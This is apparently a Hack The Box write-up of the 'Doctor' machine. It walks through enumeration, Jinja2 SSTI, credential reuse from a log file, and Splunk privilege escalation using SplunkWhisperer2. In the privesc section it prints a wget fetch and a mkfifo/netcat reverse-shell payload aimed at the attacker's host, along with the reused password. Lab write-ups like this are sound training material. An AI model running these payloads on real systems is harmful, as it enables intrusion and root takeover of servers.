8 minute read

Introduction


Doctor is an easy machine rated 4.0. First, I exploited an SSTI vulnerability to get initial access to the system. I found credentials in a file for a low priv user and then exploited the splunkd application. I start with the enumeration of the machine.

Enumeration


As always, I start with a Nmap scan.

Nmap Scan


For this task, I use the nmap automator, here are the results of the full scan:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8089/tcp open  unknown

On those 3 open ports, the automator will perform a script scan, here are the results:

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service Enumeration


I start by enumerating the webserver using a Gobuster scan:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ gobuster dir -u http://doctor.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -x php,html,log,txt                                                                                                  
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://doctor.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,log,txt
[+] Timeout:                 10s
===============================================================
2021/09/22 20:06:05 Starting gobuster in directory enumeration mode
===============================================================
/contact.html         (Status: 200) [Size: 19848]
/about.html           (Status: 200) [Size: 19848]
/blog.html            (Status: 200) [Size: 19848]
/index.html           (Status: 200) [Size: 19848]
/images               (Status: 301) [Size: 309] [--> http://doctor.htb/images/]
/services.html        (Status: 200) [Size: 19848]                              
/css                  (Status: 301) [Size: 306] [--> http://doctor.htb/css/]   
/js                   (Status: 301) [Size: 305] [--> http://doctor.htb/js/]    
/departments.html     (Status: 200) [Size: 19848]                              
/fonts                (Status: 301) [Size: 308] [--> http://doctor.htb/fonts/]

All the pages found do not help me enumerating. The page is based on wordpress (colorlib) but I could not find the login page. After a while, the nmap automator did the FFuF scans, and I noticed that there is also a FFuF scan of port 8089:

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://doctor.htb:8089/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

                        [Status: 200, Size: 2168, Words: 594, Lines: 37]
robots.txt              [Status: 200, Size: 26, Words: 3, Lines: 3]
services                [Status: 401, Size: 130, Words: 12, Lines: 7]
v1                      [Status: 200, Size: 2168, Words: 594, Lines: 37]
v4                      [Status: 200, Size: 2168, Words: 594, Lines: 37]
v2                      [Status: 200, Size: 2168, Words: 594, Lines: 37]
v3                      [Status: 200, Size: 2168, Words: 594, Lines: 37]

With https you can access that webpage. I cannot access the services, they are password protected. There is one service that is not protected: https://doctor.htb:8089/rpc but I get an “Invalid request”.

I searched a lot for exploits and stuff like that but nothing really worked. So I started from the beginning and enumerated the page more. I found an email address to a different domain:

info@doctors.htb, I add it to the hosts file and visit it. I got redirected to http://doctors.htb/login?next=%2F. I make a scan of the new website:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ python3 /tools/dirsearch/dirsearch.py -u http://doctors.htb -e php,html -x 403,404 -t 50

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, html | HTTP method: GET | Threads: 50 | Wordlist size: 9395

Output File: /tools/dirsearch/reports/doctors.htb/_21-09-22_21-21-38.txt

Error Log: /tools/dirsearch/logs/errors-21-09-22_21-21-38.log

Target: http://doctors.htb/

[21:21:38] Starting: 
[21:21:50] 302 -  251B  - /account  ->  http://doctors.htb/login?next=%2Faccount
[21:21:56] 200 -  101B  - /archive
[21:22:04] 302 -  245B  - /home  ->  http://doctors.htb/login?next=%2Fhome
[21:22:08] 200 -    4KB - /login
[21:22:08] 302 -  217B  - /logout  ->  http://doctors.htb/home
[21:22:15] 200 -    4KB - /register
[21:22:22] 200 -    3KB - /user/admin

Task Completed

But nothing crazy can be found here (the archive is empty). I tried to create an account:

Untitled

That worked, I can log in but I could not find any vulnerabilities. So I checked the request in burp:

HTTP/1.1 302 FOUND
Date: Wed, 22 Sep 2021 19:40:38 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Content-Length: 245
Location: http://doctors.htb/login?next=%2Fhome
Vary: Cookie
Set-Cookie: session=.eJwljkFqAzEMRa9ivC5lbMmWnVN0X0KQZSkZGjJlPFmF3L2Grj7vLx7v5S9253HT4U_fL--OOX592OY__Nddeai7b1e3PtyxORbRMdxxW4f75at--vP7_DENu46bPx37Uyet3Z98aaZgMRcwqSoQkBIYKAgalpoAONTEVLRqVhXuDXsEBLHAkolCkoBN49QkKLFjLCIpVWtEDJRBhagZL7XSdDfOFbRIM-wltzzzL8-h-39NnChjt8ux_ehjHigMKRNKjI2adE4Uly7WF0MCrGGp047Bv_8AOUpVrg.YUuGtg.DGOwwNuyHmBb_Yrq4b_Dvdu7FBE; HttpOnly; Path=/
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/login?next=%2Fhome">/login?next=%2Fhome</a>.  If not click the link.

As you can see, this is not an apache webserver, it is instead a python webserver.

Exploitation


I know that the webserver is running on python. I may use some technology like Jinja and Django which might be vulnerable to an SSTI. So I got my Cheat Sheet ready and tried some things out:

Untitled

Both tries did not work and I got confused. So I search through the archive, but nothing. Later I accidently opened up the source code of archive and found something:

<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
 	<title>Archive</title>
 	<item><title>16[[5*5]] 7777777</title></item>

			</channel>
			<item><title>${7*7}</title></item>

			</channel>

It seems like the application execute the code that works for Jinja2 or Twig. So let’s create a shell. I do not know that much of SSTIs, so I just grab the payload “Exploit the SSTI by calling Popen without guessing the offset” (sadly I cannot use a code block for this, the webserver would delete it to prefent SSTIs):

Untitled

Start a netcat listener and create a new message:

Untitled

Now, reload archive and get a look at the nc listener:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.209] 40304
bash: cannot set terminal process group (822): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
web@doctor:~$ export TERM=xterm
export TERM=xterm
web@doctor:~$ ^Z
zsh: suspended  nc -lvnp 443

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443

web@doctor:~$ ^C
web@doctor:~$

And I have a shell. But I cannot get the flag, so I need to privesc.

Privesc


web → shaun


I ran Linpeas and found this:

╔══════════╣ Finding passwords inside logs (limit 70)
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

There is a password in a log file Guitar123. That is not an email as it may be intended by the script. Let’s try for a password reuse:

web@doctor:~$ su shaun
Password: 
shaun@doctor:/home/web$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)

That worked, I got a shell as shaun.

User Flag


I should be able to read the user flag:

shaun@doctor:~$ ls
user.txt
shaun@doctor:~$ cat user.txt
34**************************c7cf

There is the flag, now, let’s get root.

shaun → root


I run LinPEAS again with the new user account:

════════════════════════════════════╣ Processes, Cron, Services, Timers & Sockets ╠════════════════════════════════════
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
---snip---
kernoops     952  0.0  0.0  11240   448 ?        Ss   20:11   0:00 /usr/sbin/kerneloops
root        1138  0.0  2.2 259516 88408 ?        Sl   20:11   0:06 splunkd -p 8089 start

I noticed that the splunkd is running as root. So I thought I give it a shot and try for a password reuse (password of shaun):

Untitled

That worked, I’m now logged in to the admin console. So I need to find a tool for RCE. I already found one in the enumeration phase, which I could not use at that stage of the attack because I had no credentials. Let’s download it:

┌──(user㉿KaliVM)-[/tools/LinPEAS]
└─$ git clone https://github.com/cnotin/SplunkWhisperer2.git
Cloning into 'SplunkWhisperer2'...
remote: Enumerating objects: 55, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 55 (delta 1), reused 2 (delta 1), pack-reused 48
Receiving objects: 100% (55/55), 20.70 KiB | 2.59 MiB/s, done.
Resolving deltas: 100% (17/17), done.

Let’s test the exploit:

┌──(user㉿KaliVM)-[/tools/LinPEAS/SplunkWhisperer2/PySplunkWhisperer2]
└─$ python3 PySplunkWhisperer2_remote.py --host doctor.htb --lhost 10.10.16.6 --username shaun --password Guitar123 --payload "wget http://10.10.16.6/test.html"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpg3ft8_wr.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.6:8181/
10.10.10.209 - - [22/Sep/2021 22:21:46] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!

I look at my web server and saw that it worked:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [22/Sep/2021 22:21:46] code 404, message File not found
10.10.10.209 - - [22/Sep/2021 22:21:46] "GET /test.html HTTP/1.1" 404 -

Through the shell as shaun, I can confirm that netcat is installed:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [22/Sep/2021 22:21:46] code 404, message File not found
10.10.10.209 - - [22/Sep/2021 22:21:46] "GET /test.html HTTP/1.1" 404 -

I should now be able to spawn a reverse shell using netcat (need to use mkfifo one, the -e option is not working):

┌──(user㉿KaliVM)-[/tools/LinPEAS/SplunkWhisperer2/PySplunkWhisperer2]
└─$ python3 PySplunkWhisperer2_remote.py --host doctor.htb --lhost 10.10.16.6 --username shaun --password Guitar123 --payload "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f"                               
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpflsomzda.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.6:8181/
10.10.10.209 - - [22/Sep/2021 22:24:43] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!

Now, look at the netcat listener:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ nc -lvnp 443 
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.209] 40320
/bin/sh: 0: can't access tty; job control turned off
# python3 -c 'import pty;pty.spawn("/bin/bash")'
root@doctor:/# export TERM=xterm
export TERM=xterm
root@doctor:/# ^Z
zsh: suspended  nc -lvnp 443

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/doctor]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443

root@doctor:/# ^C
root@doctor:/# id
uid=0(root) gid=0(root) groups=0(root)

That worked, I got a root shell.

Root Flag


Time to get that root flag:

root@doctor:/# cd /root
root@doctor:/root# ls
root.txt
root@doctor:/root# cat root.txt
e2**************************95a9

Conclusions


This box was fun to solve and I learned a lot about SSTI. The privesc was rather easy, but I still think that this machine was a good training for the OSCP examp.